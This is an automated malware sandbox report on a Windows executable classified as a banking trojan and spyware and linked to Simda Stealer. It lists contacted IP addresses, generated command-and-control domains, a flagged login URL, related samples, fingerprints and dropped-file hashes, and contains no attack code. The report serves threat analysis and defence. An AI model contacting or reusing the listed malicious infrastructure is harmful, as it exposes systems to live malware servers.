                                                                                                                                                                                                                    http://pujygug.com/login.phpsvchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2275129713.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                    		unknown

                                                                                                                                                                                                                    World Map of Contacted IPs

                                                                                                                                                                                                                    • No. of IPs < 25%
                                                                                                                                                                                                                    • 25% < No. of IPs < 50%
                                                                                                                                                                                                                    • 50% < No. of IPs < 75%
                                                                                                                                                                                                                    • 75% < No. of IPs

                                                                                                                                                                                                                    Public IPs

                                                                                                                                                                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                                    3.94.10.34
                                                                                                                                                                                                                    		lygynud.comUnited States
                                                                                                                                                                                                                    		14618AMAZON-AESUSfalse
                                                                                                                                                                                                                    106.15.232.163
                                                                                                                                                                                                                    		unknownChina
                                                                                                                                                                                                                    		37963CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtdtrue
                                                                                                                                                                                                                    64.190.63.136
                                                                                                                                                                                                                    		www.sedoparking.comUnited States
                                                                                                                                                                                                                    		11696NBS11696USfalse
                                                                                                                                                                                                                    72.52.179.174
                                                                                                                                                                                                                    		pltraffic7.comUnited States
                                                                                                                                                                                                                    		32244LIQUIDWEBUSfalse
                                                                                                                                                                                                                    178.162.203.202
                                                                                                                                                                                                                    		unknownGermany
                                                                                                                                                                                                                    		28753LEASEWEB-DE-FRA-10DEtrue
                                                                                                                                                                                                                    154.85.183.50
                                                                                                                                                                                                                    		qegyval.comSeychelles
                                                                                                                                                                                                                    		134548DXTL-HKDXTLTseungKwanOServiceHKfalse
                                                                                                                                                                                                                    64.225.91.73
                                                                                                                                                                                                                    		galynuh.comUnited States
                                                                                                                                                                                                                    		14061DIGITALOCEAN-ASNUSfalse
                                                                                                                                                                                                                    76.223.26.96
                                                                                                                                                                                                                    		082574.parkingcrew.netUnited States
                                                                                                                                                                                                                    		16509AMAZON-02UStrue
                                                                                                                                                                                                                    52.34.198.229
                                                                                                                                                                                                                    		lygyvuj.comUnited States
                                                                                                                                                                                                                    		16509AMAZON-02USfalse
                                                                                                                                                                                                                    75.2.71.199
                                                                                                                                                                                                                    		puzylyp.comUnited States
                                                                                                                                                                                                                    		16509AMAZON-02USfalse
                                                                                                                                                                                                                    103.150.10.48
                                                                                                                                                                                                                    		gtm-sg-6l13ukk0m05.qu200.comunknown
                                                                                                                                                                                                                    		59253LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSGtrue
                                                                                                                                                                                                                    23.253.46.64
                                                                                                                                                                                                                    		gahyqah.comUnited States
                                                                                                                                                                                                                    		19994RACKSPACEUSfalse
                                                                                                                                                                                                                    199.191.50.83
                                                                                                                                                                                                                    		galyqaz.comVirgin Islands (BRITISH)
                                                                                                                                                                                                                    		40034CONFLUENCE-NETWORK-INCVGfalse
                                                                                                                                                                                                                    13.248.169.48
                                                                                                                                                                                                                    		pupydeq.comUnited States
                                                                                                                                                                                                                    		16509AMAZON-02USfalse
                                                                                                                                                                                                                    103.224.212.210
                                                                                                                                                                                                                    		lyxynyx.comAustralia
                                                                                                                                                                                                                    		133618TRELLIAN-AS-APTrellianPtyLimitedAUfalse
                                                                                                                                                                                                                    76.223.67.189
                                                                                                                                                                                                                    		qexyhuv.comUnited States
                                                                                                                                                                                                                    		16509AMAZON-02USfalse
                                                                                                                                                                                                                    18.208.156.248
                                                                                                                                                                                                                    		pupycag.comUnited States
                                                                                                                                                                                                                    		14618AMAZON-AESUSfalse
                                                                                                                                                                                                                    208.100.26.245
                                                                                                                                                                                                                    		lyvyxor.comUnited States
                                                                                                                                                                                                                    		32748STEADFASTUSfalse
                                                                                                                                                                                                                    199.59.243.227
                                                                                                                                                                                                                    		77026.bodis.comUnited States
                                                                                                                                                                                                                    		395082BODIS-NJUSfalse
                                                                                                                                                                                                                    103.224.182.252
                                                                                                                                                                                                                    		vofycot.comAustralia
                                                                                                                                                                                                                    		133618TRELLIAN-AS-APTrellianPtyLimitedAUfalse
                                                                                                                                                                                                                    91.195.240.19
                                                                                                                                                                                                                    		parkingpage.namecheap.comGermany
                                                                                                                                                                                                                    		47846SEDO-ASDEfalse
                                                                                                                                                                                                                    162.255.119.102
                                                                                                                                                                                                                    		unknownUnited States
                                                                                                                                                                                                                    		22612NAMECHEAP-NETUStrue
                                                                                                                                                                                                                    188.114.97.3
                                                                                                                                                                                                                    		lysyvan.comEuropean Union
                                                                                                                                                                                                                    		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                    44.221.84.105
                                                                                                                                                                                                                    		gadyciz.comUnited States
                                                                                                                                                                                                                    		14618AMAZON-AESUSfalse
                                                                                                                                                                                                                    154.212.231.82
                                                                                                                                                                                                                    		gadyniw.comSeychelles
                                                                                                                                                                                                                    		133201COMING-ASABCDEGROUPCOMPANYLIMITEDHKfalse
                                                                                                                                                                                                                    188.114.96.3
                                                                                                                                                                                                                    		qegyhig.comEuropean Union
                                                                                                                                                                                                                    		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                    178.162.203.226
                                                                                                                                                                                                                    		gatyfus.comGermany
                                                                                                                                                                                                                    		28753LEASEWEB-DE-FRA-10DEfalse

                                                                                                                                                                                                                    General Information

                                                                                                                                                                                                                    Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                                    Analysis ID:1553850
                                                                                                                                                                                                                    Start date and time:2024-11-11 18:47:26 +01:00
                                                                                                                                                                                                                    Joe Sandbox product:CloudBasic
                                                                                                                                                                                                                    Overall analysis duration:0h 10m 7s
                                                                                                                                                                                                                    Hypervisor based Inspection enabled:false
                                                                                                                                                                                                                    Report type:full
                                                                                                                                                                                                                    Cookbook file name:default.jbs
                                                                                                                                                                                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                                    Number of analysed new started processes analysed:25
                                                                                                                                                                                                                    Number of new started drivers analysed:0
                                                                                                                                                                                                                    Number of existing processes analysed:0
                                                                                                                                                                                                                    Number of existing drivers analysed:0
                                                                                                                                                                                                                    Number of injected processes analysed:16
                                                                                                                                                                                                                    Technologies:
                                                                                                                                                                                                                    • HCA enabled
                                                                                                                                                                                                                    • EGA enabled
                                                                                                                                                                                                                    • AMSI enabled
                                                                                                                                                                                                                    Analysis Mode:default
                                                                                                                                                                                                                    Analysis stop reason:Timeout
                                                                                                                                                                                                                    Sample name:1fWgBXPgiT.exe
                                                                                                                                                                                                                    renamed because original name is a hash value
                                                                                                                                                                                                                    Original Sample Name:f18ae5b5acc32e1332e6d07c96b2f74debd92f14.exe
                                                                                                                                                                                                                    Detection:MAL
                                                                                                                                                                                                                    Classification:mal100.bank.troj.spyw.expl.evad.winEXE@7/41@3178/27
                                                                                                                                                                                                                    EGA Information:
                                                                                                                                                                                                                    • Successful, ratio: 100%
                                                                                                                                                                                                                    HCA Information:
                                                                                                                                                                                                                    • Successful, ratio: 98%
                                                                                                                                                                                                                    • Number of executed functions: 42
                                                                                                                                                                                                                    • Number of non-executed functions: 282
                                                                                                                                                                                                                    Cookbook Comments:
                                                                                                                                                                                                                    • Found application associated with file extension: .exe

                                                                                                                                                                                                                    Warnings

                                                                                                                                                                                                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                                                                                                                                                                                    • Excluded IPs from analysis (whitelisted): 2.23.209.177, 2.23.209.149, 2.23.209.187, 2.23.209.176, 2.23.209.182, 2.23.209.158, 2.23.209.179, 2.23.209.150, 2.23.209.185, 2.23.209.141, 2.23.209.181, 2.23.209.140, 2.23.209.193, 2.23.209.135, 2.23.209.130, 2.23.209.189, 2.23.209.133, 20.189.173.20
                                                                                                                                                                                                                    • Excluded domains from analysis (whitelisted): www.bing.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com
                                                                                                                                                                                                                    • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                                    • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                                    • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                                                                    • Report size exceeded maximum capacity and may have missing network information.
                                                                                                                                                                                                                    • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                                                                                                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                                    • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                                    • VT rate limit hit for: 1fWgBXPgiT.exe

                                                                                                                                                                                                                    Simulations

                                                                                                                                                                                                                    Behavior and APIs

                                                                                                                                                                                                                    TimeTypeDescription
                                                                                                                                                                                                                    12:49:12API Interceptor506161x Sleep call for process: svchost.exe modified
                                                                                                                                                                                                                    12:49:17API Interceptor4x Sleep call for process: WerFault.exe modified

                                                                                                                                                                                                                    Joe Sandbox View / Context

                                                                                                                                                                                                                    IPs

                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    3.94.10.34arxtPs1STE.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • lymyxid.com/login.php
                                                                                                                                                                                                                    Z8eHwAvqAh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • lygynud.com/login.php
                                                                                                                                                                                                                    WlCVLbzNph.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • lygynud.com/login.php
                                                                                                                                                                                                                    Bpfz752pYZ.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • lygynud.com/login.php
                                                                                                                                                                                                                    uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • lymyxid.com/login.php
                                                                                                                                                                                                                    7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • lymyxid.com/login.php
                                                                                                                                                                                                                    AENiBH7X1q.exeGet hashmaliciousPureLog Stealer, RedLineBrowse
                                                                                                                                                                                                                    • ctdtgwag.biz/wikoehfueo
                                                                                                                                                                                                                    E_dekont.cmdGet hashmaliciousDBatLoader, Nitol, PureLog Stealer, XWormBrowse
                                                                                                                                                                                                                    • ctdtgwag.biz/xyrpanl
                                                                                                                                                                                                                    Y2EM7suNV5.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                                                                                    • gvijgjwkh.biz/maxlthgls
                                                                                                                                                                                                                    AsusSetup.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • ypituyqsq.biz/grbkwbsae
                                                                                                                                                                                                                    106.15.232.163arxtPs1STE.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163:8000/dh/147287063_498544.html
                                                                                                                                                                                                                    Z8eHwAvqAh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163:8000/dh/147287063_498544.html
                                                                                                                                                                                                                    WlCVLbzNph.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163:8000/dh/147287063_498544.html
                                                                                                                                                                                                                    Bpfz752pYZ.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163:8000/dh/147287063_343064.html
                                                                                                                                                                                                                    uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163:8000/dh/147287063_134827.html
                                                                                                                                                                                                                    7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163:8000/dh/147287063_472994.html

                                                                                                                                                                                                                    Domains

                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    pupycag.comarxtPs1STE.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 18.208.156.248
                                                                                                                                                                                                                    Z8eHwAvqAh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 18.208.156.248
                                                                                                                                                                                                                    WlCVLbzNph.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 18.208.156.248
                                                                                                                                                                                                                    Bpfz752pYZ.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 18.208.156.248
                                                                                                                                                                                                                    uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 18.208.156.248
                                                                                                                                                                                                                    7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 18.208.156.248
                                                                                                                                                                                                                    OjKmJJm2YT.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 18.208.156.248
                                                                                                                                                                                                                    5AFlyarMds.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 18.208.156.248
                                                                                                                                                                                                                    uB31aJH4M0.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 18.208.156.248
                                                                                                                                                                                                                    M62eQtS9qP.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 18.208.156.248
                                                                                                                                                                                                                    pupydeq.comarxtPs1STE.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 13.248.169.48
                                                                                                                                                                                                                    Z8eHwAvqAh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 13.248.169.48
                                                                                                                                                                                                                    WlCVLbzNph.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 13.248.169.48
                                                                                                                                                                                                                    Bpfz752pYZ.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 13.248.169.48
                                                                                                                                                                                                                    uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 13.248.169.48
                                                                                                                                                                                                                    7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 13.248.169.48
                                                                                                                                                                                                                    OjKmJJm2YT.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 13.248.169.48
                                                                                                                                                                                                                    5AFlyarMds.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 13.248.169.48
                                                                                                                                                                                                                    uB31aJH4M0.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 13.248.169.48
                                                                                                                                                                                                                    M62eQtS9qP.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 13.248.169.48
                                                                                                                                                                                                                    lyvyxor.comarxtPs1STE.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 208.100.26.245
                                                                                                                                                                                                                    Z8eHwAvqAh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 208.100.26.245
                                                                                                                                                                                                                    WlCVLbzNph.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 208.100.26.245
                                                                                                                                                                                                                    Bpfz752pYZ.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 208.100.26.245
                                                                                                                                                                                                                    uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 208.100.26.245
                                                                                                                                                                                                                    7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 208.100.26.245
                                                                                                                                                                                                                    OjKmJJm2YT.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 208.100.26.245
                                                                                                                                                                                                                    5AFlyarMds.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 208.100.26.245
                                                                                                                                                                                                                    uB31aJH4M0.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 208.100.26.245
                                                                                                                                                                                                                    M62eQtS9qP.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 208.100.26.245

                                                                                                                                                                                                                    ASNs

                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    NBS11696USarxtPs1STE.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 64.190.63.136
                                                                                                                                                                                                                    Z8eHwAvqAh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 64.190.63.136
                                                                                                                                                                                                                    WlCVLbzNph.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 64.190.63.136
                                                                                                                                                                                                                    Bpfz752pYZ.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 64.190.63.136
                                                                                                                                                                                                                    uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 64.190.63.136
                                                                                                                                                                                                                    7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 64.190.63.136
                                                                                                                                                                                                                    sh4.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 209.87.95.110
                                                                                                                                                                                                                    jklarm5.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 64.190.7.239
                                                                                                                                                                                                                    x86_64.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                                    • 64.190.99.77
                                                                                                                                                                                                                    ppc.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 209.87.95.120
                                                                                                                                                                                                                    AMAZON-AESUSarxtPs1STE.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 44.221.84.105
                                                                                                                                                                                                                    Z8eHwAvqAh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 44.221.84.105
                                                                                                                                                                                                                    WlCVLbzNph.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 44.221.84.105
                                                                                                                                                                                                                    Bpfz752pYZ.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 44.221.84.105
                                                                                                                                                                                                                    uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 44.221.84.105
                                                                                                                                                                                                                    7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 44.221.84.105
                                                                                                                                                                                                                    sora.mpsl.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 44.210.24.233
                                                                                                                                                                                                                    Attachment-914011545-004.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 54.144.73.197
                                                                                                                                                                                                                    http://swctch.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 52.2.182.50
                                                                                                                                                                                                                    Payslip Notification #5800210900 11112024.emlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 23.22.254.206
                                                                                                                                                                                                                    CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtdarxtPs1STE.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163
                                                                                                                                                                                                                    Z8eHwAvqAh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163
                                                                                                                                                                                                                    WlCVLbzNph.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163
                                                                                                                                                                                                                    Bpfz752pYZ.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163
                                                                                                                                                                                                                    uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163
                                                                                                                                                                                                                    7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 106.15.232.163
                                                                                                                                                                                                                    sora.mpsl.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 120.79.48.98
                                                                                                                                                                                                                    sora.mips.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 8.188.166.167
                                                                                                                                                                                                                    mips.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 47.93.221.102
                                                                                                                                                                                                                    C6y77dS3l7.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 118.31.219.198

                                                                                                                                                                                                                    JA3 Fingerprints

                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    37f463bf4616ecd445d4a1937da06e19arxtPs1STE.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 188.114.97.3
                                                                                                                                                                                                                    • 75.2.71.199
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    Z8eHwAvqAh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 188.114.97.3
                                                                                                                                                                                                                    • 75.2.71.199
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    WlCVLbzNph.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 188.114.97.3
                                                                                                                                                                                                                    • 75.2.71.199
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    Bpfz752pYZ.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 188.114.97.3
                                                                                                                                                                                                                    • 75.2.71.199
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 188.114.97.3
                                                                                                                                                                                                                    • 75.2.71.199
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                                    • 188.114.97.3
                                                                                                                                                                                                                    • 75.2.71.199
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    11315781264#U00b7pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                                                                    • 188.114.97.3
                                                                                                                                                                                                                    • 75.2.71.199
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    P52mX04112024145925383.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                                                                    • 188.114.97.3
                                                                                                                                                                                                                    • 75.2.71.199
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    Factura Honorarios 2024-11-04.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                                                                                                    • 188.114.97.3
                                                                                                                                                                                                                    • 75.2.71.199
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    CERTIFICADO TITULARIDAD.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                                                                                                    • 188.114.97.3
                                                                                                                                                                                                                    • 75.2.71.199
                                                                                                                                                                                                                    • 188.114.96.3

                                                                                                                                                                                                                    Dropped Files

                                                                                                                                                                                                                    ⊘No context

                                                                                                                                                                                                                    Created / dropped Files

                                                                                                                                                                                                                    C:\Program Files (x86)\Windows Defender\galynuh.com

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):593
                                                                                                                                                                                                                    Entropy (8bit):7.626935561277827
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:12:NXnYWSLEmM3e7/EzZUimtdHCD6B+HAwQ0m7xs01O58/fTU6i0rSZd09LQ:FYWSLdM3CENUJtd85IsWO58NGd09k
                                                                                                                                                                                                                    MD5:926512864979BC27CF187F1DE3F57AFF
                                                                                                                                                                                                                    SHA1:ACDEB9D6187932613C7FA08EAF28F0CD8116F4B5
                                                                                                                                                                                                                    SHA-256:B3E893A653EC06C05EE90F2F6E98CC052A92F6616D7CCA8C416420E178DCC73F
                                                                                                                                                                                                                    SHA-512:F6F9FD3CA9305BEC879CFCD38E64111A18E65E30D25C49E9F2CD546CBAB9B2DCD03ECA81952F6B77C0EAAB20192EF7BEF0D8D434F6F371811929E75F8620633B
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:....tp.-$|e.V...(.m.y;.;..>...O`.<.]..&@...0..P....:.(...{i1r....H...i......=$.<.v&1...%e..r..(}b;.U...A.f..K8S.9IM.R.....!.._.....N':.. ..s..!IX..ZK..q..T..v.%.....0...fn.........b...../...\..O8....M...i.ZF.r.C.)~qO..T..{...x..g.......$.t.m;..|.R.33...; ...N.#..rN.A.c.D.w.?0.%D.i..1...5..[.,......ir.Z.`.....+.8..Y.....'>./l..qZ..#1F..F...=./,.&.....e.Q..$.mZZAZ........P...=T.u.H]^n|..h_s.n....r..I..U.T..%N$.B..jj.\..*...Z.';-.....5...#..u.P..k...\..:.'..l8n<C.s.SJ..4....%OE.L2..Ir....U...d.CP....m<.TG?.u..iLj*....H.H...?G..*O..tE..9..%.<+<......_.w..*S....

                                                                                                                                                                                                                    C:\Program Files (x86)\Windows Defender\galyqaz.com

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):101265
                                                                                                                                                                                                                    Entropy (8bit):7.988169059226437
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:1536:AD33bQG9uznxVewAxS7QOIx6uPyNrtfA37nl8AKpwlh4Cb4q9H11z3wedt3fHIBt:uub83MltfA37e3poh4q9VNFoBt
                                                                                                                                                                                                                    MD5:0339EDC3AC9D6F1EA461A9194F99624E
                                                                                                                                                                                                                    SHA1:B7647DC0644EFE97E15CC5BEBE0BF221AA916CB8
                                                                                                                                                                                                                    SHA-256:5C54ED49428E79AFED3B0B23DBAA35067D3A2FD2196AD28CD20E9798CB431637
                                                                                                                                                                                                                    SHA-512:ED63CC35B06E68A24769F3FD5D88DFEE51546193B0BEB6C3E5FD7D6B49FD6D6F2C575FB532FCABACE95B556D600C3E6A4983984C8B8F3837BE345E9049FFA6AD
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:...[..A.9l....A.D.[;.b..DD...}..n.o.zL......._O....r.:...%m8s...o..e....;+.q.o`3...%"..P.(}h1.H.;....%...$).|...Y.V...:..B..X..Tsa...-.P+..?........8...R..w.q.....qV.O.+.......d.....7.Z.N..V-........i.Y..s.G./pe^......M..7..+..NI.\..l.1.d...`U..zc...7 ....!.7d.Z....Q.y.)u.o..'].v...;.....m......ah...?.......1W.Q....+<..<..|^..fT.G....t..91.*.....~V..Oq.).. ..W...3...C...iE. ^...f&..+.#.'....w.._...I...k.k.L[.:.....f.+.Y.'9wE..5.(...$.&p...V>E...s.'...m;jpJ..R....:J...f.O..c.YJ8....L...4.X.....k#.dEw..... .j}..f..A........*..IU...=..5;.c.wx}@..k..R..i.L%L....e.}.#.l1...{..x.q..9s.f'b\;...X....b.X..A:.....y.w.&.+.{.j....n.JlP&$.7.....0........B.U.r.!@.G.,.:.c.>..IOx.:..^....".v..g;...-.u...."..$....+..k......aT..`op......*.............l..+)..y.Z`.........E...M..'w..%.9...G..7R...R.7:uG...|d....X..h...e...A".....O.). v....$Q....5.....;..*lU...L.....l.M.M8..4G.SkK.........q..3O...6..]..j.........y..59uC.Y'... :.c.h..b"1q. .....bk.(..

